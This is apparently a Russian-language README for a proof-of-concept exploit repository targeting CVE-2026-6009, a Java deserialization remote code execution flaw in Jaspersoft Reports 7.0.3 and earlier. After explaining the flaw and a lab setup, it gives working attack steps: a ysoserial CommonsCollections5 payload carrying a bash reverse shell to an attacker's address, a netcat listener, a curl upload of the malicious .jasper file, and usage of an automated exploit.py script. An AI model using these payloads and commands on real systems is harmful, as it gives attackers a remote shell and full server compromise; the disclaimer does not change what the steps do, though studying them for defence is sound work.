
Автоматизированный PoC-эксплойт для CVE-2026-6009, RCE через Java-десериализацию в Jaspersoft Reports <=7.0.3. Создает вредоносные полезные нагрузки .jasper с помощью ysoserial и доставляет reverse shell через конечную точку загрузки файлов.
⚠️ Отказ от ответственности: Этот репозиторий предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых не имеете явного письменного разрешения.
Библиотека Jaspersoft report версии <= 7.0.3 уязвима для удаленного выполнения кода (RCE) через использование потока Java десериализации. Эта уязвимость позволяет злоумышленнику установить соединение с обратным шеллом на системе, использующей эту версию библиотеки.
Для передачи данных некоторые системы должны преобразовывать объекты в определенный передаваемый формат — это сериализация. Десериализация — обратная операция. В Java уязвимый механизм находится в ObjectInputStream.readObject(), который используется для десериализации любого объекта из входного потока. Поскольку использует этот метод для чтения отчетов из файлов в библиотеке Jaspersoft, это опасная точка входа для внедрения вредоносного кода.
JRLoader.loadObject()Одного только readObject() недостаточно для запуска кода. Он работает только с известными эксплуатируемыми классами. Затем злоумышленники используют известные цепочки гаджетов, такие как CommonCollection, для выполнения своих полезных нагрузок.
Чтобы создать подтверждение концепции (PoC), я развернул лабораторную среду на машине Parrot с Java-веб-сервером, использующим библиотеку Jaspersoft Report Library:
ОС: Parrot OS 7 GNU/Linux Фреймворк: Spring Boot версия 2.7.18 Зависимость: Jasperreports версия 7.0.3 Среда: Java 11 Компилятор: Maven
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// ObjectInputStream.readObject() вызывается внутри JRLoader
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
На первом этапе, когда вы знаете, что целевая система использует уязвимую версию Jasperreport, вам необходимо найти точное место, куда цель будет принимать jasper-файл.
В этой среде это http://localhost:8080/upload-report
Затем вам нужно найти способ выяснить, какой класс можно использовать в качестве цепочки гаджетов в целевой системе. Вы также можете попробовать несколько вариантов и посмотреть, какой из них сработает.
В контексте whitebox мы можем сами найти эту информацию:
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
Мы обнаруживаем, что система использует CommonsCollections.
Для CommonsCollections используйте скрипт ysoserial для создания нужной полезной нагрузки. Здесь мы делаем обратный шелл:
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper
Вероятно, вам потребуется протестировать несколько версий CommonCollections для выполнения полезной нагрузки.
Для установки обратного шелл-соединения необходимо прослушивать порт, чтобы принять соединение от целевой системы, инициированное полезной нагрузкой:
nc -lnvp 4444
Наконец, вам просто нужно отправить созданную полезную нагрузку в найденное место и проверить порт, чтобы убедиться, что соединение установлено с целевой системы:
curl -X POST http://localhost:8080/upload-report -F "[email protected]"
Злоумышленник, имеющий доступ к конечной точке, может выполнить произвольный код с привилегиями сервера, что может привести к полной компрометации системы.
exploit.py — автоматизированный скрипт для воспроизведения эксплуатации уязвимости CVE-2026-6009.
python3 exploit.py -t ЦЕЛЬ -s IP_ИСТОЧНИКА -p ПОРТ
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
| Флаг | Описание |
|---|---|
| -t, --target | Место для загрузки файла .jasper |
| -s, --source | Ваш IP-адрес |
| -p, --port | Порт, к которому вы хотите подключить обратный шелл |